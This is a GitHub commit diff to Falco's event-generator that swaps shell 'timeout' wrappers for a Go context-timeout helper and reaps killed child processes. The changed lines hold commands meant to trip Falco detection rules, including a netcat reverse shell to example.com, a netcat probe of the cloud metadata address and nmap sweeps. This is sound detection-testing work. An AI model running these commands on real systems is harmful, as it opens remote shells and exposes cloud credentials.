Skip to content

Commit 89782de

Browse files
prezhapoiana
authored andcommitted
prevent zombie processes
Signed-off-by: Predrag Rogic <prezha@users.noreply.github.com>
1 parent 552829c commit 89782de

9 files changed

+36
-7
lines changed

events/syscall/contact_ec2_instance_metadata_from_container.go

+3-1
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,9 @@ limitations under the License.
1717
package syscall
1818

1919
import (
20+
"context"
2021
"os/exec"
22+
"time"
2123

2224
"github.com/falcosecurity/event-generator/events"
2325
)
@@ -48,7 +50,7 @@ func ContactEC2InstanceMetadataServiceFromContainer(h events.Helper) error {
4850
// IP address from a container can indicate potential unauthorized access to
4951
// sensitive cloud infrastructure metadata.
5052
// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
51-
if err := exec.Command("timeout", "1s", nc, "169.254.169.254", "80").Run(); err != nil {
53+
if err := runCmd(context.Background(), 1*time.Second, nc, "169.254.169.254", "80"); err != nil {
5254
h.Log().WithError(err).Debug("failed to run netcat command (might be ok)")
5355
}
5456

events/syscall/disallowed_ssh_connection_non_standard_port.go

+3-1
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,9 @@ limitations under the License.
1515
package syscall
1616

1717
import (
18+
"context"
1819
"os/exec"
20+
"time"
1921

2022
"github.com/falcosecurity/event-generator/events"
2123
)
@@ -32,7 +34,7 @@ func DisallowedSSHConnectionNonStandardPort(h events.Helper) error {
3234
}
3335

3436
// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
35-
if err := exec.Command("timeout", "1s", ssh, "user@example.com", "-p", "443").Run(); err != nil {
37+
if err := runCmd(context.Background(), 1*time.Second, ssh, "user@example.com", "-p", "443"); err != nil {
3638
h.Log().WithError(err).Debug("failed to run ssh command (this is expected)")
3739
}
3840

events/syscall/launch_suspicious_network_tool_in_container.go

+3-1
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,9 @@ limitations under the License.
1515
package syscall
1616

1717
import (
18+
"context"
1819
"os/exec"
20+
"time"
1921

2022
"github.com/falcosecurity/event-generator/events"
2123
)
@@ -40,7 +42,7 @@ func LaunchSuspiciousNetworkToolInContainer(h events.Helper) error {
4042
}
4143

4244
// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
43-
if err := exec.Command("timeout", "1s", nmap, "-sn", "192.168.1.0/24").Run(); err != nil {
45+
if err := runCmd(context.Background(), 1*time.Second, nmap, "-sn", "192.168.1.0/24"); err != nil {
4446
h.Log().WithError(err).Debug("failed to run nmap command (might be ok)")
4547
}
4648

events/syscall/launch_suspicious_network_tool_on_host.go

+3-1
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,9 @@ limitations under the License.
1515
package syscall
1616

1717
import (
18+
"context"
1819
"os/exec"
20+
"time"
1921

2022
"github.com/falcosecurity/event-generator/events"
2123
)
@@ -37,7 +39,7 @@ func LaunchSuspiciousNetworkToolOnHost(h events.Helper) error {
3739
}
3840

3941
// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
40-
if err := exec.Command("timeout", "1s", nmap, "-sn", "172.17.0.1/32").Run(); err != nil {
42+
if err := runCmd(context.Background(), 1*time.Second, nmap, "-sn", "172.17.0.1/32"); err != nil {
4143
h.Log().WithError(err).Debug("failed to run nmap command (might be ok)")
4244
}
4345

events/syscall/netcat_remote_code_execution_in_container.go

+3-1
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,9 @@ limitations under the License.
1515
package syscall
1616

1717
import (
18+
"context"
1819
"os/exec"
20+
"time"
1921

2022
"github.com/falcosecurity/event-generator/events"
2123
)
@@ -39,7 +41,7 @@ func NetcatRemoteCodeExecutionInContainer(h events.Helper) error {
3941

4042
// launch netcat (nc) with the -e flag for remote code execution
4143
// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
42-
if err := exec.Command("timeout", "1s", nc, "-e", "/bin/sh", "example.com", "22").Run(); err != nil {
44+
if err := runCmd(context.Background(), 1*time.Second, nc, "-e", "/bin/sh", "example.com", "22"); err != nil {
4345
h.Log().WithError(err).Debug("failed to run nc command (this is expected)")
4446
}
4547

events/syscall/ptrace_anti_debug_attempt.go

+2
Original file line numberDiff line numberDiff line change
@@ -39,6 +39,8 @@ func PtraceAntiDebugAttempt(h events.Helper) error {
3939
if err := cmd.Process.Kill(); err != nil {
4040
h.Log().WithError(err).Error("failed to kill dummy process")
4141
}
42+
// wait for the dummy process to exit, to avoid creating a zombie
43+
_ = cmd.Wait()
4244
}()
4345

4446
return nil

events/syscall/ptrace_attached_to_process.go

+2
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,8 @@ func PtraceAttachedToProcess(h events.Helper) error {
4141
if err := cmd.Process.Kill(); err != nil {
4242
h.Log().WithError(err).Error("failed to kill dummy process")
4343
}
44+
// wait for the dummy process to exit, to avoid creating a zombie
45+
_ = cmd.Wait()
4446
}()
4547

4648
// attach to the target process using PTRACE_ATTACH

events/syscall/unexpected_udp_traffic.go

+3-1
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,9 @@ limitations under the License.
1818
package syscall
1919

2020
import (
21+
"context"
2122
"os/exec"
23+
"time"
2224

2325
"github.com/falcosecurity/event-generator/events"
2426
)
@@ -38,7 +40,7 @@ func UnexpectedUDPTraffic(h events.Helper) error {
3840
}
3941

4042
// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
41-
if err := exec.Command("timeout", "1s", nc, "-u", "example.com", "22").Run(); err != nil {
43+
if err := runCmd(context.Background(), 1*time.Second, nc, "-u", "example.com", "22"); err != nil {
4244
h.Log().WithError(err).Debug("failed to run nc command (this is expected)")
4345
}
4446

events/syscall/utils.go

+14-1
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,12 @@ limitations under the License.
1414

1515
package syscall
1616

17-
import "math/rand/v2"
17+
import (
18+
"context"
19+
"math/rand/v2"
20+
"os/exec"
21+
"time"
22+
)
1823

1924
// randomString generates a random string of the given length.
2025
func randomString(length int) string {
@@ -28,3 +33,11 @@ func randomString(length int) string {
2833

2934
return string(bytes)
3035
}
36+
37+
// runCmd runs a command with a timeout.
38+
func runCmd(ctx context.Context, timeout time.Duration, name string, args ...string) error {
39+
ctx, cancel := context.WithTimeout(ctx, timeout)
40+
defer cancel()
41+
42+
return exec.CommandContext(ctx, name, args...).Run()
43+
}

0 commit comments

Comments
 (0)